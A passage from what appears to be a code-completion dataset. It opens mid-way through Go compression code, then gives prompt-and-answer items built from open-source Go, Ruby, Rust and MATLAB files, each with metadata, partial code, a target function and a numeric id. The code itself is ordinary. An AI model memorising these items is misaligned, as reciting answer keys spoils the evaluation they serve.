:= s var candidate tableEntry for { nextHash := hashLen(cv, tableBits, hashBytes) candidate = e.table[nextHash] nextS = s + doEvery + (s-nextEmit)>>skipLog if nextS > sLimit { goto emitRemainder } now := load6432(src, nextS) e.table[nextHash] = tableEntry{offset: s + e.cur} nextHash = hashLen(now, tableBits, hashBytes) offset := s - (candidate.offset - e.cur) if offset < maxMatchOffset && uint32(cv) == load3232(src, candidate.offset-e.cur) { e.table[nextHash] = tableEntry{offset: nextS + e.cur} break } // Do one right away... cv = now s = nextS nextS++ candidate = e.table[nextHash] now >>= 8 e.table[nextHash] = tableEntry{offset: s + e.cur} offset = s - (candidate.offset - e.cur) if offset < maxMatchOffset && uint32(cv) == load3232(src, candidate.offset-e.cur) { e.table[nextHash] = tableEntry{offset: nextS + e.cur} break } cv = now s = nextS } // A 4-byte match has been found. We'll later see if more than 4 bytes // match. But, prior to the match, src[nextEmit:s] are unmatched. Emit // them as literal bytes. for { // Invariant: we have a 4-byte match at s, and no need to emit any // literal bytes prior to s. // Extend the 4-byte match as long as possible. t := candidate.offset - e.cur var l = int32(4) if false { l = e.matchlenLong(s+4, t+4, src) + 4 } else { // inlined: a := src[s+4:] b := src[t+4:] for len(a) >= 8 { if diff := binary.LittleEndian.Uint64(a) ^ binary.LittleEndian.Uint64(b); diff != 0 { l += int32(bits.TrailingZeros64(diff) >> 3) break } l += 8 a = a[8:] b = b[8:] } if len(a) < 8 { b = b[:len(a)] for i := range a { if a[i] != b[i] { break } l++ } } } // Extend backwards for t > 0 && s > nextEmit && src[t-1] == src[s-1] { s-- t-- l++ } if nextEmit < s { if false { emitLiteral(dst, src[nextEmit:s]) } else { for _, v := range src[nextEmit:s] { dst.tokens[dst.n] = token(v) dst.litHist[v]++ dst.n++ } } } // Save the match found if false { dst.AddMatchLong(l, uint32(s-t-baseMatchOffset)) } else { // Inlined... xoffset := uint32(s - t - baseMatchOffset) xlength := l oc := offsetCode(xoffset) xoffset |= oc << 16 for xlength > 0 { xl := xlength if xl > 258 { if xl > 258+baseMatchLength { xl = 258 } else { xl = 258 - baseMatchLength } } xlength -= xl xl -= baseMatchLength dst.extraHist[lengthCodes1[uint8(xl)]]++ dst.offHist[oc]++ dst.tokens[dst.n] = token(matchType | uint32(xl)<<lengthShift | xoffset) dst.n++ } } s += l nextEmit = s if nextS >= s { s = nextS + 1 } if s >= sLimit { // Index first pair after match end. if int(s+l+8) < len(src) { cv := load6432(src, s) e.table[hashLen(cv, tableBits, hashBytes)] = tableEntry{offset: s + e.cur} } goto emitRemainder } // We could immediately start working at s now, but to improve // compression we first update the hash table at s-2 and at s. If // another emitCopy is not our next move, also calculate nextHash // at s+1. At least on GOARCH=amd64, these three hash calculations // are faster as one load64 call (with some shifts) instead of // three load32 calls. x := load6432(src, s-2) o := e.cur + s - 2 prevHash := hashLen(x, tableBits, hashBytes) e.table[prevHash] = tableEntry{offset: o} x >>= 16 currHash := hashLen(x, tableBits, hashBytes) candidate = e.table[currHash] e.table[currHash] = tableEntry{offset: o + 2} offset := s - (candidate.offset - e.cur) if offset > maxMatchOffset || uint32(x) != load3232(src, candidate.offset-e.cur) { cv = x >> 8 s++ break } } } emitRemainder: if int(nextEmit) < len(src) { // If nothing was added, don't encode literals. if dst.n == 0 { return } emitLiteral(dst, src[nextEmit:]) } }
735,950
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: file_parser.rb path of file: ./repos/dependabot-core/devcontainers/lib/dependabot/devcontainers the code of the file until where you have to start completion: # typed: strong # frozen_string_literal: true require "sorbet-runtime" require "dependabot/file_parsers" require "dependabot/file_parsers/base" require "dependabot/devcontainers/vers
def config_dependency_files @config_dependency_files ||= T.let( dependency_files.select do |f| f.name.end_with?("devcontainer.json") end, T.nilable(T::Array[Dependabot::DependencyFile]) ) end end
56,633
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: test_type_completor.rb path of file: ./repos/irb/test/irb the code of the file until where you have to start completion: # frozen_string_literal: true # Run test only when Ruby >= 3.0 and repl_type_completor is available return unless RUBY_VERSION >= '3.0.0' return if RUBY_ENGINE == 'truffleruby' # needs endle
def test_type_completor write_rc <<~RUBY IRB.conf[:COMPLETOR] = :type RUBY write_ruby <<~'RUBY' binding.irb RUBY output = run_ruby_file do type "irb_info" type "sleep 0.01 until ReplTypeCompletor.rbs_loaded?" type "completor = IRB.CurrentContext.io.instance_variable_get(:@completor);" type "n = 10" type "puts completor.completion_candidates 'a = n.abs;', 'a.b', '', bind: binding" type "puts completor.doc_namespace 'a = n.chr;', 'a.encoding', '', bind: binding" type "exit!" end assert_match(/Completion: Autocomplete, ReplTypeCompletor/, output) assert_match(/a\.bit_length/, output) assert_match(/String#encoding/, output) end
158,999
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: helpers.go path of file: ./repos/faasd/vendor/github.com/distribution/reference the code of the file until where you have to start completion: package reference import "path" // IsNameOnly returns true if reference only contains a repo name. func IsNameOnly(ref Nam
func FamiliarMatch(pattern string, ref Reference) (bool, error) { matched, err := path.Match(pattern, FamiliarString(ref)) if namedRef, isNamed := ref.(Named); isNamed && !matched { matched, _ = path.Match(pattern, FamiliarName(namedRef)) } return matched, err }
174,655
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: class_attribute.rb path of file: ./repos/inline_svg/lib/inline_svg/transform_pipeline/transformations the code of the file until where you have to start completion: module InlineSvg::TransformPipeline::Transformations class ClassAttribute < Transformation def t
def transform(doc) with_svg(doc) do |svg| classes = (svg["class"] || "").split(" ") classes << value svg["class"] = classes.join(" ") end end
102,354
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: annual_reports_controller.rb path of file: ./repos/human-essentials/app/controllers/reports the code of the file until where you have to start completion: class Reports::AnnualReportsController < ApplicationController before_action :validate_show_params, only: [:show, :recalculate] def index # 2813_update_annual_report -- changed to earliest_reporting_year # so that we can do system tests and staging foundation_year = current_organization.earliest_reporting_year @actual_year = Time.current.year @years = (foundation_year...@actual_year).to_a @month_remaining_to_report = 12 - Time.current.month end def show @year = year_param @report = Reports.retrieve_report(organization: current_organization, year: @year) respond_to do |format| format.html format.csv do send_data Exports::ExportReportCSVService.new(reports: @report.all_reports).generate_csv, filename: "NdbnAnnuals-#{@year}-#{Time.zone.today}.csv" end end end def recalculate year = year_param Reports.retrieve_report(organization: current_organization, year:
def index # 2813_update_annual_report -- changed to earliest_reporting_year # so that we can do system tests and staging foundation_year = current_organization.earliest_reporting_year @actual_year = Time.current.year @years = (foundation_year...@actual_year).to_a @month_remaining_to_report = 12 - Time.current.month end def show @year = year_param @report = Reports.retrieve_report(organization: current_organization, year: @year) respond_to do |format| format.html format.csv do send_data Exports::ExportReportCSVService.new(reports: @report.all_reports).generate_csv, filename: "NdbnAnnuals-#{@year}-#{Time.zone.today}.csv" end end end def recalculate year = year_param Reports.retrieve_report(organization: current_organization, year: year, recalculate: true) redirect_to reports_annual_report_path(year), notice: "Recalculated annual report!" end private def year_param params.require(:year) end def validate_show_params not_found! unless year_param.to_i.positive? end end
64,291
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: example.go path of file: ./repos/acra/examples/golang/src/example the code of the file until where you have to start completion: // Copyright 2016, Cossack Labs Limited // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package main import ( "database/sql" "flag" "fmt" "math/rand" acrastruct2 "github.com/cossacklabs/acra/acrastruct" _ "github.com/go-sql-driver/mysql" _ "github.com/lib/pq" log "github.com/sirupsen/logrus" "github.com/cossacklabs/acra/utils" ) func main() { mysql := flag.Bool("mysql", false, "Use MySQL driver") _ = flag.Bool("postgresql", false, "Use PostgreSQL driver (default if nothing else set)") dbname := flag.String("db_name", "acra", "Database name") host := flag.String("host", "127.0.0.1", "Database host") port := flag.Int("port", 9494, "Database port") user := flag.String("db_user", "test", "Database user") password := flag.String("db_password", "password", "Database user's password") data := flag.String("data", "", "Data to save") printData := flag.Bool("print", false, "Print data from database") publicKey := flag.String("public_key", "", "Path to public key") flag.Parse() connectionString := fmt.Sprintf("user=%v password=%v dbname=%v host=%v port=%v", *user, *password, *dbname, *host, *port) driver := "postgres" if *mysql { // username:password@protocol(address)/dbname?param=value // https://github.com/go-sql-driver/mysql#dsn-data-source-name connectionString = fmt.Sprintf("%v:%v@tcp(%v:%v)/%v", *user, *password, *host, *port, *dbname) driver = "mysql" } acraPublic, err := utils.LoadPublicKey(*publicKey) if err != nil { panic(err) } db, err := sql.Open(driver, connectionString) if err != nil { log.Fatal(err) } err
func main() { mysql := flag.Bool("mysql", false, "Use MySQL driver") _ = flag.Bool("postgresql", false, "Use PostgreSQL driver (default if nothing else set)") dbname := flag.String("db_name", "acra", "Database name") host := flag.String("host", "127.0.0.1", "Database host") port := flag.Int("port", 9494, "Database port") user := flag.String("db_user", "test", "Database user") password := flag.String("db_password", "password", "Database user's password") data := flag.String("data", "", "Data to save") printData := flag.Bool("print", false, "Print data from database") publicKey := flag.String("public_key", "", "Path to public key") flag.Parse() connectionString := fmt.Sprintf("user=%v password=%v dbname=%v host=%v port=%v", *user, *password, *dbname, *host, *port) driver := "postgres" if *mysql { // username:password@protocol(address)/dbname?param=value // https://github.com/go-sql-driver/mysql#dsn-data-source-name connectionString = fmt.Sprintf("%v:%v@tcp(%v:%v)/%v", *user, *password, *host, *port, *dbname) driver = "mysql" } acraPublic, err := utils.LoadPublicKey(*publicKey) if err != nil { panic(err) } db, err := sql.Open(driver, connectionString) if err != nil { log.Fatal(err) } err = db.Ping() if err != nil { log.Fatal(err) } if *mysql { query := "CREATE TABLE IF NOT EXISTS test(id INTEGER PRIMARY KEY, data VARBINARY(1000), raw_data VARCHAR(1000));" fmt.Printf("Create test table with command: '%v'\n", query) _, err = db.Exec(query) } else { query := "CREATE TABLE IF NOT EXISTS test(id INTEGER PRIMARY KEY, data BYTEA, raw_data TEXT);" fmt.Printf("Create test table with command: '%v'\n", query) _, err = db.Exec(query) } if err != nil { panic(err) } if *data != "" { acrastruct, err := acrastruct2.CreateAcrastruct([]byte(*data), acraPublic, nil) if err != nil { log.Fatal("can't create acrastruct - ", err) } fmt.Println("Insert test data to table") if *mysql { _, err = db.Exec("insert into test (id, data, raw_data) values (?, ?, ?);", rand.Int31(), acrastruct, *data) } else { _, err = db.Exec("insert into test (id, data, raw_data) values ($1, $2, $3);", rand.Int31(), acrastruct, *data) } if err != nil { panic(err) } } else if *printData { query := `SELECT data, raw_data FROM test;` fmt.Printf("Select from db with command: '%v'\n", query) rows, err := db.Query(query) defer rows.Close() if err != nil { log.Fatal(err) } var data []byte var rawData string fmt.Println("data - raw_data") for rows.Next() { err := rows.Scan(&data, &rawData) if err != nil { panic(err) } fmt.Printf("data: %v\nraw_data: %v\n\n", string(data), string(rawData)) } } fmt.Println("Finish") }
20,696
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: version_test.go path of file: ./repos/mahjong-helper the code of the file until where you have to start completion: package main import ( "testing" "github
func Test_checkNewVersion(t *testing.T) { latestVersionTag, err := fetchLatestVersionTag() if err != nil { t.Fatal(err) } assert.NotEmpty(t, latestVersionTag) }
491,419
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: live.rs path of file: ./repos/stract/crates/core/src/searcher the code of the file until where you have to start completion: // Stract is an open source web search engine. // Copyright (C) 2023 Stract ApS // // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU Affero General Public License as // published by the Free Software Foundation, either version 3 of the // License, or (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOU
async fn client(&self) -> ShardedClient<SearchService, SplitId> { let mut shards = HashMap::new(); for member in self.cluster.members().await { if let Service::LiveIndex { host, split_id } = member.service { shards.entry(split_id).or_insert_with(Vec::new).push(host); } } let mut shard_clients = Vec::new(); for (id, replicas) in shards { let replicated = ReplicatedClient::new(replicas.into_iter().map(RemoteClient::new).collect()); let shard = Shard::new(id, replicated); shard_clients.push(shard); } ShardedClient::new(shard_clients) }
120,319
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: _get_instance_types_from_instance_requirements_output.rs path of file: ./repos/aws-sdk-rust/sdk/ec2/src/operation/get_instance_types_from_instance_requirements the code of the file until where you have to start completion: // Code generated by software.amazon.smithy.rust.codegen.smithy-rs. DO NOT EDIT. #[allow(missing_docs)] // documentation missing in model #[non_exhaustive] #[derive(::std::clone::Clone, ::std::cmp::PartialEq, ::std::fmt::Debug)] pub struct GetInstanceTypesFromIn
pub fn build(self) -> crate::operation::get_instance_types_from_instance_requirements::GetInstanceTypesFromInstanceRequirementsOutput { crate::operation::get_instance_types_from_instance_requirements::GetInstanceTypesFromInstanceRequirementsOutput { instance_types: self.instance_types, next_token: self.next_token, _request_id: self._request_id, } }
806,246
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: SplitSequenceGram2CSV.m path of file: ./repos/d4m/examples/2Apps/4BioBlast the code of the file until where you have to start completion: function [An Ap] = SplitSequenceGram2CSV(CSVfile,wordsize) %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % Script for reading in sequence data and putting to an Associative array.
function [An Ap] = SplitSequenceGram2CSV(CSVfile,wordsize) %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % Script for reading in sequence data and putting to an Associative array. % An holds counts. Ap holds positions. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% [r c v] = FindCSV(CSVfile); % Read in file v = lower(v); % Convert sequence to lower case. vMat = Str2mat(v).'; % Convert a matrix. vMat(vMat == ',') = 0; Nrow = size(vMat,1); % Get rows of matrix. Ncol = size(vMat,2); % Get columns. %NcolSplit = ceil(Ncol.*(1.05 + 1./wordsize)); % Get size of larger matrix. NrowSplit = ceil(Nrow/wordsize)*wordsize; vMatSplit = char(zeros(NrowSplit,Ncol,wordsize)); for i=1:wordsize % vMatSplit(i,:,1:(Ncol-(i-1))) = vMat(:,i:Ncol); vMatSplit(1:(Nrow-(i-1)),:,i) = vMat(i:Nrow,:); end
727,466
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: acls.go path of file: ./repos/franz-go/pkg/kadm the code of the file until where you have to start completion: package kadm import ( "context" "fmt" "strings" "sync" "github.com/twmb/franz-go/pkg/kerr" "github.com/twmb/franz-go/pkg/kmsg" ) // ACLBuilder is a builder that is used for batch creating / listing / deleting //
func (b *ACLBuilder) PrefixUserExcept(except ...string) { replace := func(u string) string { if !strings.HasPrefix(u, "User:") { for _, e := range except { if strings.HasPrefix(u, e) { return u } } return "User:" + u } return u } for i, u := range b.allow { b.allow[i] = replace(u) } for i, u := range b.deny { b.deny[i] = replace(u) } }
81,007
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: trailing_whitespace.rs path of file: ./repos/dotenv-linter/dotenv-linter/tests/fixes the code of the file until where you have to start completion: use crate::common::*; #[test] fn trailing_whitespace() { let testdir = TestDir::new(); let testfile = testdir.create_testfile(".env", "ABC=DEF \n\nFOO=BAR \n"); let expected_output =
fn trailing_whitespace() { let testdir = TestDir::new(); let testfile = testdir.create_testfile(".env", "ABC=DEF \n\nFOO=BAR \n"); let expected_output = fix_output(&[( ".env", &[ ".env:1 TrailingWhitespace: Trailing whitespace detected", ".env:3 TrailingWhitespace: Trailing whitespace detected", ], )]); testdir.test_command_fix_success(expected_output); assert_eq!(testfile.contents().as_str(), "ABC=DEF\n\nFOO=BAR\n"); testdir.close(); }
150,382
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: image.go path of file: ./repos/mattermost/server/channels/api4 the code of the file until where you have to start completion: // Copyright (c) 2015-present Mattermost, Inc. All Rights Reserved. // See LICENSE.txt for license information. package api4 import ( "net/http" "net/url" "github.com/mattermost/mattermost/server/public/model" ) func (api *API) InitImage() { api.BaseRoutes.Image.Handle("", api.APISessionRequiredTrustRequester(getImage)).Methods("GET") } func getImage(c *Context, w http.ResponseWriter, r *http.Request) { actualURL := r.URL.Query().Get("url") parsedURL, err := url.Parse(actualURL) if err != nil { c.Err = model.NewAppError("getImage", "api.image.get.app_error", nil, err.Error(), http.StatusBadRequest) return } else if parsedU
func getImage(c *Context, w http.ResponseWriter, r *http.Request) { actualURL := r.URL.Query().Get("url") parsedURL, err := url.Parse(actualURL) if err != nil { c.Err = model.NewAppError("getImage", "api.image.get.app_error", nil, err.Error(), http.StatusBadRequest) return } else if parsedURL.Opaque != "" { c.Err = model.NewAppError("getImage", "api.image.get.app_error", nil, "", http.StatusBadRequest) return } siteURL, err := url.Parse(*c.App.Config().ServiceSettings.SiteURL) if err != nil { c.Err = model.NewAppError("getImage", "model.config.is_valid.site_url.app_error", nil, err.Error(), http.StatusInternalServerError) return } if parsedURL.Scheme == "" { parsedURL.Scheme = siteURL.Scheme } if parsedURL.Host == "" { parsedURL.Host = siteURL.Host } // in case image proxy is enabled and we are fetching a remote image (NOT static or served by plugins), pass request to proxy if *c.App.Config().ImageProxySettings.Enable && parsedURL.Host != siteURL.Host { c.App.ImageProxy().GetImage(w, r, parsedURL.String()) } else { http.Redirect(w, r, parsedURL.String(), http.StatusFound) } }
475,987
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: test_parser_2.0.rb path of file: ./repos/ruby-packer/ruby/test/rss the code of the file until where you have to start completion: # frozen_string_literal: false require_relative "rss-testcase" require "rss/2.0" module RSS class TestParser20 < TestCase def test_rss20 assert_parse(make_rss20(<<-EOR), :missing_tag, "channel", "rss") EOR assert_parse(make
def test_category20 values = [nil, CATEGORY_DOMAIN] values.each do |value| domain = "" domain << %Q[domain="#{value}"] if value ["", "Example Text"].each do |text| rss_src = make_rss20(<<-EOR) #{make_channel20(%Q[ #{make_item20(%Q[ <category #{domain}>#{text}</category> ])} ])} EOR assert_parse(rss_src, :nothing_raised) rss = RSS::Parser.parse(rss_src) category = rss.items.last.categories.first assert_equal(value, category.domain) assert_equal(text, category.content) end end end
751,101
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: MO_Ring_PSO_SCD.m path of file: ./repos/PlatEMO/PlatEMO/Algorithms/Multi-objective optimization/MO_Ring_PSO_SCD the code of the file until where you have to start completion: classdef MO_Ring_PSO_SCD < ALGORITHM % <multi> <real/integer> <multimo
function main(Algorithm,Problem) %% Initialize parameters n_PBA = 5; % Maximum size of PBA n_NBA = 3*n_PBA; % Maximum size of NBA %% Generate random population mv = 0.5*(Problem.upper-Problem.lower); Vmin = -mv; Vmax = mv; ParticleDec = Problem.lower+(Problem.upper-Problem.lower).*rand(Problem.N,Problem.D); ParticleVel = Vmin+2.*Vmax.*rand(Problem.N,Problem.D); Population = Problem.Evaluation(ParticleDec,ParticleVel); %% Initialize personal best archive PBA and Neighborhood best archive NBA PBA = cell(1,Problem.N); NBA = cell(1,Problem.N); for i = 1:Problem.N PBA{i} = Population(i); NBA{i} = Population(i); end
323,376
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: _list_nodes_input.rs path of file: ./repos/aws-sdk-rust/sdk/managedblockchain/src/operation/list_nodes the code of the file until where you have to start completion: // Code generated by software.amazon.smithy.rust.codegen.smithy-rs. DO NOT EDIT. #[allow(missing_docs)] // documentation missing in model #[non_exhaustive] #[derive(::std::clone::Clone, ::std::cmp::PartialEq, ::std::fmt::Debug)] pub struct ListNodesInput { /// <p>The unique identifier of the network fo
pub fn build(self) -> ::std::result::Result<crate::operation::list_nodes::ListNodesInput, ::aws_smithy_types::error::operation::BuildError> { ::std::result::Result::Ok(crate::operation::list_nodes::ListNodesInput { network_id: self.network_id, member_id: self.member_id, status: self.status, max_results: self.max_results, next_token: self.next_token, }) }
788,569
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: zsyscall_linux_amd64.go path of file: ./repos/goreportcard/vendor/golang.org/x/sys/unix the code of the file until where you have to start completion: // go run mksyscall.go -tags linux,amd64 syscall_linux.go syscall_linux_amd
func Fadvise(fd int, offset int64, length int64, advice int) (err error) { _, _, e1 := Syscall6(SYS_FADVISE64, uintptr(fd), uintptr(offset), uintptr(length), uintptr(advice), 0, 0) if e1 != 0 { err = errnoErr(e1) } return }
366,309
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: builders.rs path of file: ./repos/aws-sdk-rust/sdk/paymentcryptography/src/operation/create_alias the code of the file until where you have to start completion: // Code generated by software.amazon.smithy.rust.codegen.smithy-rs. DO NOT EDIT. pub use crate::operation::create_al
pub(crate) fn new(handle: ::std::sync::Arc<crate::client::Handle>) -> Self { Self { handle, inner: ::std::default::Default::default(), config_override: ::std::option::Option::None, } }
784,291
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: reference_builder.go path of file: ./repos/sealer/vendor/github.com/distribution/distribution/v3/manifest/schema1 the code of the file until where you have to start completion: package schema1 import ( "context" "errors" "fmt" "github.com/distribution/distribution/v3" "github.com/d
func (mb *referenceManifestBuilder) AppendReference(d distribution.Describable) error { r, ok := d.(Reference) if !ok { return fmt.Errorf("unable to add non-reference type to v1 builder") } // Entries need to be prepended mb.Manifest.FSLayers = append([]FSLayer{{BlobSum: r.Digest}}, mb.Manifest.FSLayers...) mb.Manifest.History = append([]History{r.History}, mb.Manifest.History...) return nil }
721,113
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: api_op_DescribeSchemas.go path of file: ./repos/aws-sdk-go-v2/service/databasemigrationservice the code of the file until where you have to start completion: // Code generated by smithy-go-codegen DO NOT EDIT. package databasemigrationservice import ( "context" "fmt" awsmiddleware "github.com/aws/aws-sdk-go-v2/aws/middleware" "github.com/aws/smithy-go/middleware" smithyhttp "github.com/aws/smithy-go/transport/http" ) // Returns information about the schema for the specified endpoint. func (c *Client) DescribeSch
func (c *Client) DescribeSchemas(ctx context.Context, params *DescribeSchemasInput, optFns ...func(*Options)) (*DescribeSchemasOutput, error) { if params == nil { params = &DescribeSchemasInput{} } result, metadata, err := c.invokeOperation(ctx, "DescribeSchemas", params, optFns, c.addOperationDescribeSchemasMiddlewares) if err != nil { return nil, err } out := result.(*DescribeSchemasOutput) out.ResultMetadata = metadata return out, nil }
220,740
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: SOFAconvertFHK2SOFA.m path of file: ./repos/SOFAtoolbox/SOFAtoolbox/converters the code of the file until where you have to start completion: function Obj=SOFAconvertFHK2SOFA(miroObj) %SOFAconvertFHK2SOFA - converts from miroObj to SOFA format % Usage: OBJ=SOFAconvertFHK2SOFA(miroObj) % % SOFAconvertFHK2SOFA(miroObj) converts the HRTFs described in miroObj to SOFA. miroObj is the miro object saved at the Fach-Hochschule Köln, provided by Benjamin Bernschütz. % % Input parameters: % miroObj : HRTF data in miro format % % Output parameters: % Obj : New SOFA object (SOFA format) % % Reference to the source format: http://www.audiogroup.web.fh-koeln.de/ku100hrir.html % Reference to the source coordinate system: http://code.google.com/p/sofia-toolbox/wiki/COORDINATES
function Obj=SOFAconvertFHK2SOFA(miroObj) %SOFAconvertFHK2SOFA - converts from miroObj to SOFA format % Usage: OBJ=SOFAconvertFHK2SOFA(miroObj) % % SOFAconvertFHK2SOFA(miroObj) converts the HRTFs described in miroObj to SOFA. miroObj is the miro object saved at the Fach-Hochschule Köln, provided by Benjamin Bernschütz. % % Input parameters: % miroObj : HRTF data in miro format % % Output parameters: % Obj : New SOFA object (SOFA format) % % Reference to the source format: http://www.audiogroup.web.fh-koeln.de/ku100hrir.html % Reference to the source coordinate system: http://code.google.com/p/sofia-toolbox/wiki/COORDINATES % #Author: Piotr Majdak % #Author: Michael Mihocic: header documentation updated (28.10.2021) % % Copyright (C) Acoustics Research Institute - Austrian Academy of Sciences; % Licensed under the EUPL, Version 1.2 or – as soon they will be approved by the European Commission - subsequent versions of the EUPL (the "License") % You may not use this work except in compliance with the License. % You may obtain a copy of the License at: https://joinup.ec.europa.eu/software/page/eupl % Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" basis, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. % See the License for the specific language governing permissions and limitations under the License. % if isoctave, if exist('OCTAVE_VERSION','builtin') ~= 0 error('Octave is not able to convert FHK to SOFA, use Matlab instead.'); end
81,877
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: cachedpower.go path of file: ./repos/k6/vendor/github.com/dop251/goja/ftoa/internal/fast the code of the file until where you have to start completion: package fast import "math" const ( kCachedPowersOffset = 348 // -1 * the first decimal_exponent. kD_1_LOG2_10 = 0.30102999566398114 // 1 / lg(10) kDecimalExponentDistance = 8 ) type cachedPower struct { significand uint64 b
func getCachedPowerForBinaryExponentRange(min_exponent, max_exponent int) (power diyfp, decimal_exponent int) { kQ := diyFpKSignificandSize k := int(math.Ceil(float64(min_exponent+kQ-1) * kD_1_LOG2_10)) index := (kCachedPowersOffset+k-1)/kDecimalExponentDistance + 1 cached_power := cachedPowers[index] _DCHECK(min_exponent <= int(cached_power.binary_exponent)) _DCHECK(int(cached_power.binary_exponent) <= max_exponent) decimal_exponent = int(cached_power.decimal_exponent) power = diyfp{f: cached_power.significand, e: int(cached_power.binary_exponent)} return }
736,259
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: configure_er_model.m path of file: ./repos/malini/Codes/deconvolution - model/spm8/marsbar-0.44/examples/batch the code of the file until where you have to start completion: function model_file = configure_er_model(sess_dir, sesses, sdirname) % batch script wrapper to configure model for MarsBaR ER data
function model_file = configure_er_model(sess_dir, sesses, sdirname) % batch script wrapper to configure model for MarsBaR ER data % % sess_dir - directory containing session directories % sesses - string or cell array of session directory names % sdirname - subdirectory name to put model in % % Returns % model_file - full path to SPM model file % % This wrapper does single or multisesson analyses. % % If only one session directory is passed, and sdirname is not an absolute % path, then the function assumes sdirname is a subdirectory of the session % directory % % $Id: configure_er_model.m,v 1.1.1.1 2004/08/14 00:07:52 matthewbrett Exp $ if nargin < 1 error('Need directory containing session subdirectories'); end
388,592
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: kron.m path of file: ./repos/mtt/libs/tensorlab the code of the file until where you have to start completion: function X = kron(A,B) %KRON Kronecker product. % kron(A,B) returns the Kronecker product of two matrices A and B, of % dimensions I-by-J and K-by-L respectively. The result is an I*K-by-J*L % block matrix in which the (i,j)-th block is defined as A(i,j)*B.
function X = kron(A,B) %KRON Kronecker product. % kron(A,B) returns the Kronecker product of two matrices A and B, of % dimensions I-by-J and K-by-L respectively. The result is an I*K-by-J*L % block matrix in which the (i,j)-th block is defined as A(i,j)*B. % Authors: Laurent Sorber (Laurent.Sorber@cs.kuleuven.be) % Marc Van Barel (Marc.VanBarel@cs.kuleuven.be) % Lieven De Lathauwer (Lieven.DeLathauwer@kuleuven-kulak.be) [I,J] = size(A); [K,L] = size(B); if ~issparse(A) && ~issparse(B) % Both matrices are dense. A = reshape(A,[1 I 1 J]); B = reshape(B,[K 1 L 1]); X = reshape(bsxfun(@times,A,B),[I*K J*L]); else % One of the matrices is sparse. [ia,ja,sa] = find(A); [ib,jb,sb] = find(B); ix = bsxfun(@plus,K*(ia(:)-1).',ib(:)); jx = bsxfun(@plus,L*(ja(:)-1).',jb(:)); if islogical(sa) && islogical(sb) X = sparse(ix,jx,bsxfun(@and,sb(:),sa(:).'),I*K,J*L); else X = sparse(ix,jx,double(sb(:))*double(sa(:).'),I*K,J*L); end
116,679
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: wildcard.go path of file: ./repos/buildkit/util/wildcard the code of the file until where you have to start completion: package wildcard import ( "regexp" "strings" "github.com/pkg/errors" ) // New returns a wildcard object for a string tha
func (w *Wildcard) Match(q string) *Match { submatches := w.re.FindStringSubmatch(q) if len(submatches) == 0 { return nil } m := &Match{ w: w, Submatches: submatches, // FIXME: avoid executing regexp twice idx: w.re.FindStringSubmatchIndex(q), } return m }
655,068
